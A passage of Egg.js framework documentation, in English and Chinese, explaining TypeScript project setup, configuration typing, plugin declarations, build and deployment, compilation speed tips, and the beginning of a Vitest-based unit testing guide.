    "test-local": "egg-bin test",
    "cov": "egg-bin cov",
    "lint": "tslint ."
  }
}
```

### Debug

There's no main difference for debugging in TS, it can reach correct positions through `sourcemap`.

```json
{
  "name": "showcase",
  "egg": {
    "declarations": true
  },
  "scripts": {
    "debug": "egg-bin debug",
    "debug-test": "npm run test-local -- --inspect"
  }
}
```

* [Debugging in VSCode](https://eggjs.org/zh-cn/core/development.html#%E4%BD%BF%E7%94%A8-vscode-%E8%BF%9B%E8%A1%8C%E8%B0%83%E8%AF%95)
* [History of Debugging Egg in VSCode](https://github.com/atian25/blog/issues/25)

***

## Deployment

### Building

* In a PROD env, we tend to build ts to js, and recommend to build on `ci` and make packages.

Configs in `package.json` :

```json
{
  "devDependencies": {
    "@eggjs/tsconfig": "3"
  },
  "egg": {
    "typescript": true,
    "declarations": true
  },
  "scripts": {
    "start": "egg-scripts start --title=egg-server-showcase",
    "stop": "egg-scripts stop --title=egg-server-showcase",
    "tsc": "ets && tsc -p tsconfig.json",
    "ci": "npm run lint && npm run cov && npm run tsc",
    "clean": "ets clean"
  }
}
```

And the corresponding `tsconfig.json`:

```json
{
  "extends": "@eggjs/tsconfig",
  "exclude": ["app/public", "app/web", "app/views"]
}
```

### Error Stacks

Codes online are js after compilation, however what we expect is to see error stacks pointing at TS source codes. So:

* When buiding the project, we should insert info of `sourcemap` in `inlineSourceMap: true`.
* For developers, there's no need to worry about correcting the positions to the right error stacks in a built-in `egg-scripts`.

For more detailed info:

* <https://zhuanlan.zhihu.com/p/26267678>
* <https://github.com/eggjs/egg-scripts/pull/19>

***

## Guides to the Developments of Plugin/Framework

**Principles:**

* DO NOT recommend to develop plugin/framework in TS directly, we should publish them in js to npm.
* When you write a plugin/framework, the corresponding `index.d.ts` should be included.
* By [Declaration Merging](https://www.typescriptlang.org/docs/handbook/declaration-merging.html) we can inject the functions of plugin/framework into Egg.
* All are mounted on `egg` module, DO NOT use the outer layer.

### The Outer Framework

Definitions:

```typescript
// {framework_root}/index.d.ts

import * as Egg from 'egg';

// With 'import' to include the outer framework's plugin.
import 'my-plugin';

declare module 'egg' {
  // Extend egg like plugin...
}

// Export the whole Egg
export = Egg;
```

For developers, they can directly import your framework:

```typescript
// app/service/news.ts

// Developers can get all intellisense after they import your framework
import { Service } from 'duck-egg';

export default class NewsService extends Service {
  public async list(page?: number): Promise<NewsItem[]> {
    return [];
  }
}
```

## Frequently-asked questions

Here're some questions asked by many people with answers one by one:

### `ts` won't be loaded when running `npm start`

`npm start` actually runs `egg-scripts start`, however we ONLY integrate `ts-node` in our `egg-bin`, it means ts won'be loaded until we use `egg-bin`.

`egg-scripts` is the cli for PROD, and we suggest you compiling all the ts to js before running because of robustness and capbility. That's the reason why we don't suggest you using `ts-node` to run the application in PROD.

On the contrary, `ts-node` can reduce the cost of management for compiled files from `tsc`in DEV, and the performance loss can almost be ignored, so `ts-node` is integrated into `egg-bin`.

**In summary: Please use `tsc`to compile all ts files into js through `npm run tsc`, and then run `npm start`.**

### There's no loaded objects when using egg's plugin

There're mainly two reasons causing this problem:

**1. No related defination `d.ts` file for the plugin**

If you want to load some object into egg, you MUST follow the `Plugin / Framework Development Instructions` below by making a declaration file into your own plugin.

You can also create a new declaration file to solve this problem when you are eager to deploy to PROD. Suppose I'm using the plugin of `egg-dashboard` and it has a loading object in egg's app without any declarations, so if you directly use `app.dashboard`, there'll be a type error occuring, and you want to solve it eagerly, you can create `index.d.ts` in 'typings' by writing this following:

```typescript
// typings/index.d.ts

import 'egg';

declare module 'egg' {
  interface Application {
    dashboard: any;
  }
}
```

Now it's solved! Of course your PRs for plugins without declaration files are welcomed to help others!

**2. egg's plugin has the declaration but not loaded**

If the egg's plugin has the right declaration, we need to import it exclipitly and ts can load the related object.

If you don't use that, you have to import the declaration of plugins manually.

```typescript
// typings/index.d.ts

import 'egg-dashboard';
```

**Notice: You MUST use 'import' in `d.ts`, because most of egg's plugins are without main entry points. There'll be errors occuring if you import directly in ts.**

### `paths` is invalid in `tsconfig.json`

Strictly speaking, this has nothing to do with egg but with many people's questions, and we'll give our answer to it. The reason is `tsc` WON'T convert the import path when compiling ts to js, so when you config `paths` in `tsconfig.json` and if you use `paths` to import the related modules, you are running the high risk that you cannot find them when compiled to js.

The solution is either you don't use `paths`, or you can ONLY import some declarations instead of detailed values. Another way is that you can use [tsconfig-paths](https://github.com/dividab/tsconfig-paths) to hook the process logic in node's path module to support `paths` in `tsconfig.json`.

You can directly import `tsconfig-paths` in `config/plugin.ts`, because `plugin.ts` is ALWAYS loaded firstly in both App and Agent.

```typescript
// config/plugin.ts

import 'tsconfig-paths/register';

...
```

### How to write unit tests for declarations of egg's plugins?

Many contributors don't know how to write unit tests for their plugin's declaration files, so we also have a discussion about it here:

When you finish writing a declaration for an egg's plugin, you can write your own application in `test/fixures` (you can refer <https://github.com/eggjs/egg-view/tree/master/test/fixtures/apps/ts>). Do remember to add `paths`configs into `tsconfig.json` to do imports in the fixture. Take `egg-view` as an example:

```json
    "paths": {
      "egg-view": ["../../../../"]
    }
```

Do remember DO NOT CONFIG `"skipLibCheck": true` in the `tsconfig.json`, and if you set it to true, `tsc`will ignore the type checks when compiling, and there's no meaning for unit tests for your plugin's declarations.

In the end, add a test case to check whether your declaration works properly or not. See `egg-view` example below:

```js
describe('typescript', () => {
  it('should compile ts without error', () => {
    return (
      coffee
        .fork(require.resolve('typescript/bin/tsc'), [
          '-p',
          path.resolve(__dirname, './fixtures/apps/ts/tsconfig.json'),
          '--noEmit',
        ])
        // .debug()
        .expect('code', 0)
        .end()
    );
  });
});
```

Some other unit test projects as your references:

* <https://github.com/eggjs/egg>
* <https://github.com/eggjs/egg-view>
* <https://github.com/eggjs/egg-logger>

### Slow Compilation?

According to our practice, ts-node is a better solution nowaday because we don't execute
tsc in a new terminal, and we can accept the start speed (only for ts-node@7, because the
new version has removed the cache and it makes the speed too slow ([#754](https://github.com/TypeStrong/ts-node/issues/754)), so that's why we don't upgrade it).

But if your project is extreamly huge, ts-node's performance will be tight as well.
So here're our optimizations for you:

#### Close typecheck

Most of time in compilation is type checking, so if we close it there'll be
a bit improvements for performance, with the environment variable
`TS_NODE_TRANSPILE_ONLY=true` when starting your app. E.g:

```bash
$ TS_NODE_TRANSPILE_ONLY=true egg-bin dev
```

Or you can just make tscompiler as the "Compiling-Only" for tscompiler.

```json
// package.json
{
  "name": "demo",
  "egg": {
    "typescript": true,
    "declarations": true,
    "tscompiler": "ts-node/register/transpile-only"
  }
}
```

#### Switch for a high efficient compiler

Besides ts-node, There're also many projects supporting ts compilation,
such as esbuild, we can install it first [esbuild-register](https://github.com/egoist/esbuild-register)

```bash
$ npm install esbuild-register --save-dev
```

And then config `tscompiler` like this:

```json
// package.json
{
  "name": "demo",
  "egg": {
    "typescript": true,
    "declarations": true,
    "tscompiler": "esbuild-register"
  }
}
```

Then you can use esbuild-register to compile (notice: esbulild-register can't
do typecheck).

> Same for swc, if you want to use it after installation [@swc-node/register](https://github.com/Brooooooklyn/swc-node#swc-noderegister), and then config in tscompiler.

#### Use tsc

If you still cannot bear the speed of the dynamic compilation, you can directly
use tsc. This means you don't need to config typescript to true in package.json,
but just start a new terminal to execute tsc.

```bash
$ tsc -w
```

And then start the egg.

```bash
$ egg-bin dev
```

We suggest you can add configs for `**/*.js` at .gitignore to avoid
submitting the generated js files to the remote.

---

---
url: /zh-CN/tutorials/typescript.md
---
# TypeScript

> [TypeScript](https://www.typescriptlang.org/) 是 JavaScript 的一个类型超集，它可以被编译成纯 JavaScript。

TypeScript 提供的静态类型检查、智能提示和 IDE 友好性等特性，对于大规模企业级应用来说，具有极高的价值。有关详细信息，请参见：[TypeScript 体系调研报告](https://juejin.im/post/59c46bc86fb9a00a4636f939)。

然而，在之前使用 TypeScript 开发 Egg 应用时，会遇到一些影响**开发者体验**的问题：

* Egg 特有的 Loader 动态加载机制，使得 TypeScript 无法进行某些依赖的静态分析。
* 在自动合并配置的机制中，如何在 `config.{env}.js` 中修改插件提供的配置，同时能够进行校验并智能提示？
* 开发期间需要启动一个单独的 `tsc -w` 进程来构建代码，这将导致临时文件位置的不确定性以及 `npm scripts` 的复杂性。
* 单元测试、覆盖率测试以及线上错误的堆栈如何指向 TypeScript 源文件，而非编译后的 JavaScript 文件。

本文主要介绍：

* **应用层 TypeScript 开发规范**
* **我们在工具链方面的支持，以解决上述问题，让开发者基本无感知的同时，也保持了一致性的体验。**

关于具体开发过程的详细信息，请参见：[\[RFC\] TypeScript tool support](https://github.com/eggjs/egg/issues/2272)。

***

## 快速入门

通过骨架快速初始化一个项目：

```bash
$ mkdir showcase && cd showcase
$ npm init egg --type=ts
$ npm i
$ npm run dev
```

上面的骨架会生成一个极简版的示例，更完整的示例请参见：[eggjs/examples/hackernews-async-ts](https://github.com/eggjs/examples/tree/master/hackernews-async-ts)

![tegg.gif](https://user-images.githubusercontent.com/227713/38358019-bf7890fa-38f6-11e8-8955-ea072ac6dc8c.gif)

***

## 目录规范

**约束条件：**

* Egg 目前没有打算采用 TypeScript 进行重写。
* Egg 及相关插件会提供 `index.d.ts` 文件以方便开发者使用。
* TypeScript 是社区的一种实践方式，我们通过工具链提供一定程度的支持。
* TypeScript 要求版本至少为 2.8。

整体的目录结构与一般的 Egg 项目没有太大差异：

* 采用 `typescript` 代码风格，文件后缀名为 `.ts`。
* `typings` 目录用于存放 `d.ts` 文件（大部分文件可以自动生成）。

```bash
showcase
├── app
│   ├── controller
│   │   └── home.ts
│   ├── service
│   │   └── news.ts
│   └── router.ts
├── config
│   ├── config.default.ts
│   ├── config.local.ts
│   ├── config.prod.ts
│   └── plugin.ts
├── test
│   └── **/*.test.ts
├── typings
│   └── **/*.d.ts
├── README.md
├── package.json
├── tsconfig.json
└── tslint.json
```

### 控制器（Controller）

```typescript
// app/controller/home.ts
import { Controller } from 'egg';

export default class HomeController extends Controller {
  public async index() {
    const { ctx, service } = this;
    const page = ctx.query.page;
    const result = await service.news.list(page);
    await ctx.render('home.tpl', result);
  }
}
```

### 路由（Router）

```typescript
// app/router.ts
import { Application } from 'egg';

export default (app: Application) => {
  const { router, controller } = app;
  router.get('/', controller.home.index);
};
```

### 服务（Service）

```typescript
// app/service/news.ts
import { Service } from 'egg';

export default class NewsService extends Service {
  public async list(page?: number): Promise<NewsItem[]> {
    return [];
  }
}

export interface NewsItem {
  id: number;
  title: string;
}
```

### 中间件（Middleware）

```typescript
import { Context } from 'egg';

// 这是你自定义的中间件
export default function fooMiddleware(): any {
  return async (ctx: Context, next: () => Promise<any>) => {
    // 你可以获取 config 的配置：
    // const config = ctx.app.config;
    // config.xxx...
    await next();
  };
}
```

当某个 Middleware 文件的名称与 config 中某个属性名一致时，Middleware 会自动把这个属性下的所有配置读取过来。

假设你有一个 Middleware，名称是 `uuid`，在 `config.default.js` 中的配置如下：

```javascript
'use strict';

import { EggAppConfig, PowerPartial } from 'egg';

export default function(appInfo: EggAppConfig) {
  const config = {} as PowerPartial<EggAppConfig>;

  config.keys = appInfo.name + '123123';

  config.middleware = ['uuid'];

  config.security = {
    csrf: {
      ignore: '123',
    },
  };

  const bizConfig = {
    local: {
      msg: 'local',
    },

    uuid: {
      name: 'ebuuid',
      maxAge: 1000 * 60 * 60 * 24 * 365 * 10,
    },
  };

  return {
    ...config,
    ...bizConfig,
  };
}
```

在对应的 `uuid` 中间件中：

```typescript
// app/middleware/uuid.ts

import { Context, Application, EggAppConfig } from 'egg';

export default function uuidMiddleWare(
  options: EggAppConfig['uuid'],
  app: Application,
): any {
  return async (ctx: Context, next: () => Promise<any>) => {
    // name 就是 `config.default.js` 中 `uuid` 下的属性
    console.info(options.name);
    await next();
  };
}
```

**注意：目前中间件的返回值必须是 `any` 类型。这是因为，如果使用 Koa 的 `IRouteContext` 类和 Egg 的 `Context` 类时，它们不兼容，将导致编译报错。**

### 扩展（Extend）

```typescript
// app/extend/context.ts
import { Context } from 'egg';

export default {
  isAjax(this: Context) {
    return this.get('X-Requested-With') === 'XMLHttpRequest';
  },
};

// app.ts
export default (app) => {
  app.beforeStart(async () => {
    await Promise.resolve('egg + ts');
  });
};
```

### 配置（Config）

`Config` 这部分稍微有点复杂，因为要支持：

* 在 Controller，Service 那边使用配置，需支持多级提示，并自动关联。
* Config 内部，`config.view = {}` 的写法，也应该支持提示。
* 在 `config.{env}.ts` 里可以用到 `config.default.ts` 自定义配置的提示。

```typescript
// app/config/config.default.ts
import { EggAppInfo, EggAppConfig, PowerPartial } from 'egg';

export default (appInfo: EggAppInfo) => {
  const config = {} as PowerPartial<EggAppConfig>;

  // 覆盖框架，插件的配置
  config.keys = appInfo.name + '123456';
  config.view = {
    defaultViewEngine: 'nunjucks',
    mapping: {
      '.tpl': 'nunjucks',
    },
  };

  // 应用本身的配置
  const bizConfig = {};
  bizConfig.news = {
    pageSize: 30,
    serverUrl: 'https://hacker-news.firebaseio.com/v0',
  };

  // 目的是将业务配置属性合并到 EggAppConfig 中返回
  return {
    // 如果直接返回 config ，则将该类型合并到 EggAppConfig 的时候可能会出现 circulate type 错误。
    ...(config as {}),
    ...bizConfig,
  };
};
```

当 `EggAppConfig` 合并 `config.default.ts` 的类型后，在其他 `config.{env}.ts` 中这么写就也可以获得在 `config.default.ts` 定义的自定义配置的智能提示：

```typescript
// app/config/config.local.ts
import { EggAppConfig } from 'egg';

export default () => {
  const config = {} as PowerPartial<EggAppConfig>;
  // 这里就可以获得 news 的智能提示了
  config.news = {
    pageSize: 20,
  };
  return config;
};
```

备注：

* TS 的 `Conditional Types` 是我们能完美解决 Config 提示的关键。
* 有兴趣的可以浏览 `egg/index.d.ts` 里面 `PowerPartial` 的实现。

```typescript
// {egg}/index.d.ts
type PowerPartial<T> = {
  [U in keyof T]?: T[U] extends {} ? PowerPartial<T[U]> : T[U];
};
```

### 插件（Plugin）

```javascript
// config/plugin.ts
import { EggPlugin } from 'egg';

const plugin: EggPlugin = {
  static: true,
  nunjucks: {
    enable: true,
    package: 'egg-view-nunjucks',
  },
};

export default plugin;
```

### 生命周期（Lifecycle）

```typescript
// app.ts
import { Application, IBoot } from 'egg';

export default class FooBoot implements IBoot {
  private readonly app: Application;

  constructor(app: Application) {
    this.app = app;
  }

  configWillLoad() {
    // 预备调用 configDidLoad，
    // Config 和 plugin 文件已被引用，
    // 这是修改配置的最后机会。
  }

  configDidLoad() {
    // Config 和 plugin 文件已加载。
  }

  async didLoad() {
    // 所有文件已加载，此时可以启动插件。
  }

  async willReady() {
    // 所有插件已启动，这里可以执行一些在应用准备好之前的操作。
  }

  async didReady() {
    // Worker 已准备好，可以执行一些不会阻塞应用启动的操作。
  }

  async serverDidReady() {
    // 服务器已监听。
  }

  async beforeClose() {
    // 应用关闭前执行的操作。
  }
}
```

### TS 类型定义（Typings）

该目录为 TS 的规范，在里面的 `**/*.d.ts` 文件将被自动识别。

* 开发者需要手写的建议放在 `typings/index.d.ts` 中。
* 工具会自动生成 `typings/{app,config}/**.d.ts`，请勿自行修改，避免被覆盖（见下文）。

***

## 开发期

### ts-node

`egg-bin` 已经内建了 [ts-node](https://github.com/TypeStrong/ts-node)，`egg loader` 在开发期会自动加载 `*.ts` 并内存编译。

目前已支持 `dev` / `debug` / `test` / `cov`。

开发者仅需简单配置下 `package.json`：

```json
{
  "name": "showcase",
  "egg": {
    "typescript": true
  }
}
```

### 单元测试和覆盖率（Unit Test and Coverage）

单元测试当然少不了：

```typescript
// test/app/service/news.test.ts
import assert from 'assert';
import { Context } from 'egg';
import { app } from 'egg-mock/bootstrap';

describe('test/app/service/news.test.js', () => {
  let ctx: Context;

  before(async () => {
    ctx = app.mockContext();
  });

  it('list()', async () => {
    const list = await ctx.service.news.list();
    assert(list.length === 30);
  });
});
```

运行命令也跟之前一样，并内置了错误堆栈和覆盖率的支持：

```json
{
  "name": "showcase",
  "egg": {
    "typescript": true,
    "declarations": true
  },
  "scripts": {
    "test": "npm run lint -- --fix && npm run test-local",
    "test-local": "egg-bin test",
    "cov": "egg-bin cov",
    "lint": "tslint ."
  }
}
```

### 调试（Debug）

断点调试与之前没有什么区别，会自动通过 `sourcemap` 命中正确的位置。

```json
{
  "name": "showcase",
  "egg": {
    "typescript": true,
    "declarations": true
  },
  "scripts": {
    "debug": "egg-bin debug",
    "debug-test": "npm run test-local"
  }
}
```

* [使用 VSCode 进行调试](https://eggjs.org/zh-cn/core/development.html#使用-vscode-进行调试)
* [VSCode 调试 Egg 完美版 - 进化史](https://github.com/atian25/blog/issues/25)

***

## 部署（Deploy）

### 构建（Build）

* 正式环境下，我们更倾向于把 `ts` 构建为 `js`，建议在 `ci` 上构建并打包。

配置 `package.json` ：

```json
{
  "devDependencies": {
    "@eggjs/tsconfig": "3"
  },
  "egg": {
    "typescript": true,
    "declarations": true
  },
  "scripts": {
    "start": "egg-scripts start --title=egg-server-showcase",
    "stop": "egg-scripts stop --title=egg-server-showcase",
    "tsc": "ets && tsc -p tsconfig.json",
    "ci": "npm run lint && npm run cov && npm run tsc",
    "clean": "ets clean"
  }
}
```

对应的 `tsconfig.json` ：

```json
{
  "extends": "@eggjs/tsconfig",
  "exclude": ["app/public", "app/web", "app/views"]
}
```

**注意：** 当有同名的 `ts` 和 `js` 文件时，egg 会优先加载 `js` 文件。

### 错误堆栈（Error Stack）

线上服务的代码是经过编译后的 `js`，而我们期望看到的错误堆栈是指向 `TS` 源码。
因此：

* 在构建的时候，需配置 `inlineSourceMap: true` 在 `js` 底部插入 `sourcemap` 信息。
* 在 `egg-scripts` 内建了处理，会自动纠正为正确的错误堆栈，应用开发者无需担心。

具体内幕参见以下链接：

* [知乎专栏](https://zhuanlan.zhihu.com/p/26267678)
* [GitHub PR](https://github.com/eggjs/egg-scripts/pull/19)

***

## 插件 / 框架开发指南

**指导原则：**

* 不建议使用 `TS` 直接开发插件/框架，发布到 `npm` 的插件应该是 `js` 形式。
* 当你开发了一个插件/框架后，需要提供对应的 `index.d.ts`。
* 通过 [Declaration Merging](https://www.typescriptlang.org/docs/handbook/declaration-merging.html) 将插件/框架的功能注入到 `Egg` 中。
* 都挂载到 `egg` 这个模块，不要用上层框架。

### 插件

```typescript
// {plugin_root}/index.d.ts

import 'egg';
import News from '../../../app/service/News';

declare module 'egg' {
  // 扩展 service
  interface IService {
    news: News;
  }

  // 扩展 app
  interface Application {}

  // 扩展 context
  interface Context {}

  // 扩展你的配置
  interface EggAppConfig {}

  // 扩展自定义环境
  type EggEnvType = 'local' | 'unittest' | 'prod' | 'sit';
}
```

### 上层框架

定义：

```typescript
// {framework_root}/index.d.ts

import * as Egg from 'egg';

// 将该上层框架用到的插件 import 进来
import 'my-plugin';

declare module 'egg' {
  // 跟插件一样扩展 egg ...
}

// 将 `Egg` 整个 export 出去
export = Egg;
```

开发者使用的时候，可以直接 import 你的框架：

```typescript
// app/service/news.ts

// 开发者引入你的框架，也可以使用到提示到所有 `Egg` 的提示
import { Service } from 'duck-egg';

export default class NewsService extends Service {
  public async list(page?: number): Promise<NewsItem[]> {
    return [];
  }
}
```

## 常见问题

汇集了一些人们频繁提问的 `issue` 问题，并给出了统一的解答。

### 运行 `npm start` 不会加载 `ts`

运行 `npm start` 实际上是执行了 `egg-scripts start` 命令，而 `ts-node` 只在 `egg-bin` 中被集成，只有使用 `egg-bin` 的时候，才允许直接运行 `ts` 文件。

`egg-scripts` 是在生产环境下运行 `egg` 的 `CLI` 工具。在生产环境中我们建议先将 `ts` 编译成 `js`，然后再执行，因为在线上环境中，需要考虑应用的健壮性和性能，所以不建议使用 `ts-node`。

而在开发环境中，`ts-node` 能减少 `tsc` 编译产生的文件管理成本，且在开发环境中带来的性能损耗几乎可以忽略，因此 `egg-bin` 中集成了 `ts-node`。

**总结：** 如果项目需要在线上环境运行，请先使用 `tsc` 将 `ts` 编译成 `js`（`npm run tsc`），然后再运行 `npm start`。

### 使用了 `egg` 插件后发现没有对应插件挂载的对象

出现这个问题通常有两个原因：

**1. 该 `egg` 插件未定义 `d.ts`。**

如果在插件中想要将某个对象挂载到 `egg` 的类型中，需要按照分节“插件 / 框架开发指南”补充声明文件到相应插件中。

如果想要快速上线解决这个问题，可以直接在项目下新建一个声明文件。比如使用了 `egg-dashboard` 插件，该插件在 `egg` 的 `app` 对象中挂载了 `dashboard` 对象，但插件没有提供声明，直接使用 `app.dashboard` 会导致类型错误。此时可以在项目下的 `typings` 目录中新建 `index.d.ts` 文件，并写入以下内容：

```typescript
// typings/index.d.ts

import 'egg';

declare module 'egg' {
  interface Application {
    dashboard: any;
  }
}
```

这样即可暂时解决问题，但我们更希望您能为缺少声明的插件提供 PR，以补充声明帮助更多人。

**2. `egg` 插件定义了 `d.ts` ，但未被引入。**

即使 `egg` 插件正确地定义了 `d.ts`，也需要在应用或框架层明确地引入它，`ts` 才能加载对应类型。

```typescript
// typings/index.d.ts

import 'egg-dashboard';
```

**注意：** 必须在 `d.ts` 中 `import`。由于 `egg` 插件大部分没有入口文件，如果在 `ts` 文件中 `import`，运行时可能出现问题。

### 在 `tsconfig.json` 中配置了 `paths` 无效

此问题严格来说并非 `egg` 特有，但常见，故在此解答。原因是当 `tsc` 将 `ts` 编译成 `js` 时，并不转换 `import` 的模块路径。因此，若您在 `tsconfig.json` 中配置了 `paths` 后，在 `ts` 中使用 `paths` 导入对应模块，编译成 `js` 后可能出现模块找不到的问题。

解决方法：不使用 `paths`；或使用 `paths` 时只导入声明，不导入具体值；或使用 [`tsconfig-paths`](https://github.com/dividab/tsconfig-paths) 动态处理。

使用 `tsconfig-paths` 时，可以直接在 `config/plugin.ts` 中引入，因为它总是最先加载的。在代码中引入该模块，见下例：

```typescript
// config/plugin.ts

import 'tsconfig-paths/register';

// 其他代码
```

### 如何为 `egg` 插件编写声明单测？

许多开发者在给 `egg` 插件提交声明时，不了解如何编写单元测试来验证声明的准确性。以下是解决方法。

在编写完 `egg` 插件的声明后，可以在 `test/fixtures` 中创建一个使用 `ts` 编写的 `egg` 应用，类似于 <https://github.com/eggjs/egg-view/tree/master/test/fixtures/apps/ts> 的样本，并在 `tsconfig.json` 中加入 `paths` 配置，便于在单元测试中 `import` 模块。如 `egg-view` 中配置：

```json
"paths": {
  "egg-view": ["../../../../"]
}
```

同时请勿在 `tsconfig.json` 中设置 `"skipLibCheck": true`。如果设置为 `true`，`tsc` 编译时会忽略 `d.ts` 文件中的类型检查，使单元测试失去意义。

接着添加用例验证插件声明的正确性，参考 `egg-view`：

```js
describe('typescript', () => {
  it('should compile ts without error', () => {
    return (
      coffee
        .fork(require.resolve('typescript/bin/tsc'), [
          '-p',
          path.resolve(__dirname, './fixtures/apps/ts/tsconfig.json'),
          '--noEmit',
        ])
        // .debug()
        .expect('code', 0)
        .end()
    );
  });
});
```

以下几个项目可作为单元测试参考：

* <https://github.com/eggjs/egg>
* <https://github.com/eggjs/view>
* <https://github.com/eggjs/egg-logger>

### 编译速度慢？

根据我们的实践，`ts-node` 是目前相对较优的解决方案，既不用另起终端执行 `tsc`，也能获得还能接受的启动速度（仅限于 `ts-node@7`，新的版本由于把文件缓存去掉了，导致特别慢（[#754](https://github.com/TypeStrong/ts-node/issues/754)），因此未升级）。

但如果项目特别庞大，`ts-node` 的性能也会吃紧，我们提供了以下优化方案供参考：

#### 关闭类型检查

编译耗时大头在类型检查。如果关闭，也能带来一定的性能提升。可以在启动应用时带上 `TS_NODE_TRANSPILE_ONLY=true` 环境变量，比如

```bash
$ TS_NODE_TRANSPILE_ONLY=true egg-bin dev
```

或者在 `package.json` 中配置 `tscompiler` 为 `ts-node` 提供的仅编译的注册器。

```json
// package.json
{
  "name": "demo",
  "egg": {
    "typescript": true,
    "declarations": true,
    "tscompiler": "ts-node/register/transpile-only"
  }
}
```

#### 更换高性能 compiler

除了 `ts-node` 之外，业界也有不少支持编译 ts 的项目，比如 `esbuild`。可以先安装 [esbuild-register](https://github.com/egoist/esbuild-register)

```bash
$ npm install esbuild-register --save-dev
```

再在 `package.json` 中配置 `tscompiler`

```json
// package.json
{
  "name": "demo",
  "egg": {
    "typescript": true,
    "declarations": true,
    "tscompiler": "esbuild-register"
  }
}
```

即可使用 `esbuild-register` 来编译（注意，`esbuild-register` 不具备 typecheck 功能）。

> 如果想用 `swc` 也一样，安装 [@swc-node/register](https://github.com/Brooooooklyn/swc-node#swc-noderegister)，然后配置到 `tscompiler` 即可。

#### 使用 `tsc`

如果还是觉得这种在运行时动态编译的速度实在无法忍受，也可以直接使用 `tsc`。即不需要在 `package.json` 中配置 `typescript` 为 `true`，在开发期间单独起个终端执行 `tsc`。

```bash
$ tsc -w
```

然后再正常启动 `egg` 应用即可。

```bash
$ egg-bin dev
```

建议在 `.gitignore` 中加上对 `**/*.js` 的配置，避免将生成的 js 代码也提交到了远端。

---

---
url: /core/unittest.md
---

## Why Unit Testing

Let us start with a few questions:

* How to measure the quality of code
* How to ensure the quality of code
* Are you free to refactor code
* How to guarantee the correctness of refactored code
* Have you confidence to release your untested code

If you are not sure, you probably need unit testing.

Actually, it brings us tremendous benefits:

* guarantee the quality of maintaining code
* guarantee the correctness of reconstruction
* enhance confidence
* automation

It's more important to use unit tests in a web application during the fast iteration, because each testing case can contribute to the increasing stability of the application. The result of various inputs in each test is definite, so it's obvious to detect whether the changed code has an impact on correctness or not.

Therefore, code, such as in Controller, Service, Helper, Extend and so on, require corresponding unit testing for quality assurances, especially modification of the framework or plugins, of which test coverage is strongly recommended to be 100%.

## Test Framework

When [searching 'test framework' in npm](https://www.npmjs.com/search?q=test%20framework\&page=1\&ranking=popularity), there are a mass of test frameworks owning their own unique characteristics.

### Vitest

Starting from `@eggjs/bin` v8, Egg uses [Vitest](https://vitest.dev) as the default test runner. Vitest is a next-generation testing framework powered by Vite, providing native TypeScript support, fast execution, and a modern testing experience.

> Vitest is a blazing-fast unit test framework powered by Vite. It provides native ESM support, TypeScript out of the box, and a Vite-powered transformation pipeline.

Key advantages:

* **Native TypeScript support** — no need for ts-node or additional loaders
* **Fast execution** — leverages Vite's transformation pipeline
* **Built-in watch mode** — instant feedback during development
* **Compatible API** — supports `describe`, `it`, `beforeAll`, `afterAll`, etc.
* **Built-in coverage** — via `@vitest/coverage-v8`, no external tools needed

### Mocha (Legacy)

Previous versions of `@eggjs/bin` (v7 and earlier) used [Mocha](http://mochajs.org) as the test runner. If you are migrating from Mocha, note the following hook name changes:

| Mocha          | Vitest                |
| -------------- | --------------------- |
| `before()`     | `beforeAll()`         |
| `after()`      | `afterAll()`          |
| `beforeEach()` | `beforeEach()` (same) |
| `afterEach()`  | `afterEach()` (same)  |

## Assertion Library

We recommend using Node.js built-in [assert](https://nodejs.org/api/assert.html) module for assertions. It follows the principle of 『No API is the best API』— simple, familiar, and requires no additional dependencies.

```js
import assert from 'node:assert';

assert(result.status === 200);
assert.equal(user.name, 'fengmk2');
assert.deepStrictEqual(data, { foo: 'bar' });
```

Vitest also provides a built-in `expect` API if you prefer BDD-style assertions:

```js
import { expect } from 'vitest';

expect(result.status).toBe(200);
expect(user.name).toBe('fengmk2');
```

## Test Rule

Framework defines some fundamental rules on unit testing to keep us focus on coding rather than assistant work, such as how to execute test cases.
Egg does some basic conventions for unit testing.

### Directory Structure

Test code is demand to be put in `test` directory, include `fixtures` and assistant scripts.

Each Test file has to be named by the pattern of `${filename}.test.js`, ending with `.test.js`.

For example:

```bash
test
├── controller
│   └── home.test.js
├── hello.test.js
└── service
    └── user.test.js
```

### Test Tool

Consistently using [egg-bin to launch tests](./development.md#unit_testing), which internally uses [Vitest](https://vitest.dev) to run tests. egg-bin automatically configures vitest with sensible defaults so that we can **concentrate on writing tests** without wasting time on configuration.

Key features provided by egg-bin:

* Auto-detects TypeScript and configures vitest accordingly
* Auto-loads `test/.setup.ts` (or `.setup.js`) as a setup file
* Auto-injects `@eggjs/mock/setup_vitest` for egg applications (handles app lifecycle)
* Injects vitest globals (`describe`, `it`, `beforeAll`, etc.) so plain JS test files work without imports

The only thing you need to do is setting `scripts.test` in `package.json`.

```json
{
  "scripts": {
    "test": "egg-bin test"
  }
}
```

Then tests would be launched by executing `npm test` command.

```bash
npm test

> unittest-example@ test /Users/mk2/git/github.com/eggjs/examples/unittest
> egg-bin test

 ✓ test/hello.test.js (1 test) 10ms

 Test Files  1 passed (1)
      Tests  1 passed (1)
```

### Environment Variables

egg-bin exposes several environment variables to control vitest behavior:

| Environment Variable   | Values              | Default   | Description                                                                                                                                                                                                                                                                     |
| ---------------------- | ------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `EGG_VITEST_POOL`      | `threads` / `forks` | `threads` | Vitest worker pool type. `threads` uses worker\_threads for faster startup; `forks` uses child processes for full isolation. When set to `threads`, `@eggjs/mock` auto-switches to `worker_threads` start mode so cluster-client uses thread-based IPC instead of process-based. |
| `EGG_VITEST_ISOLATE`   | `true` / `false`    | `false`   | Whether to isolate test files in separate environments. When `false` (shared mode), all test files share the same app instance within a worker, significantly improving test speed. When `true`, each test file gets its own isolated environment.                              |
| `EGG_FILE_PARALLELISM` | `true` / `false`    | `false`   | Whether to run test files in parallel across workers. When `false`, test files run sequentially.                                                                                                                                                                                |

You can set them in `package.json` scripts or pass them as command-line flags:

```json
{
  "scripts": {
    "test": "egg-bin test",
    "test:forks": "EGG_VITEST_POOL=forks egg-bin test",
    "test:isolate": "EGG_VITEST_ISOLATE=true egg-bin test"
  }
}
```

Or use the `--pool` flag:

```bash
egg-bin test --pool forks
```

> **Note:** In shared mode (`EGG_VITEST_ISOLATE=false`), static variables and in-memory state persist across test files. Make sure to clean up any shared state in `afterEach` hooks to avoid test pollution.

## Test Preparation

This chapter introduces you how to write test, and introduction of tests for the framework and plugins are located in [framework](../advanced/framework.md) and [plugin](../advanced/plugin.md).

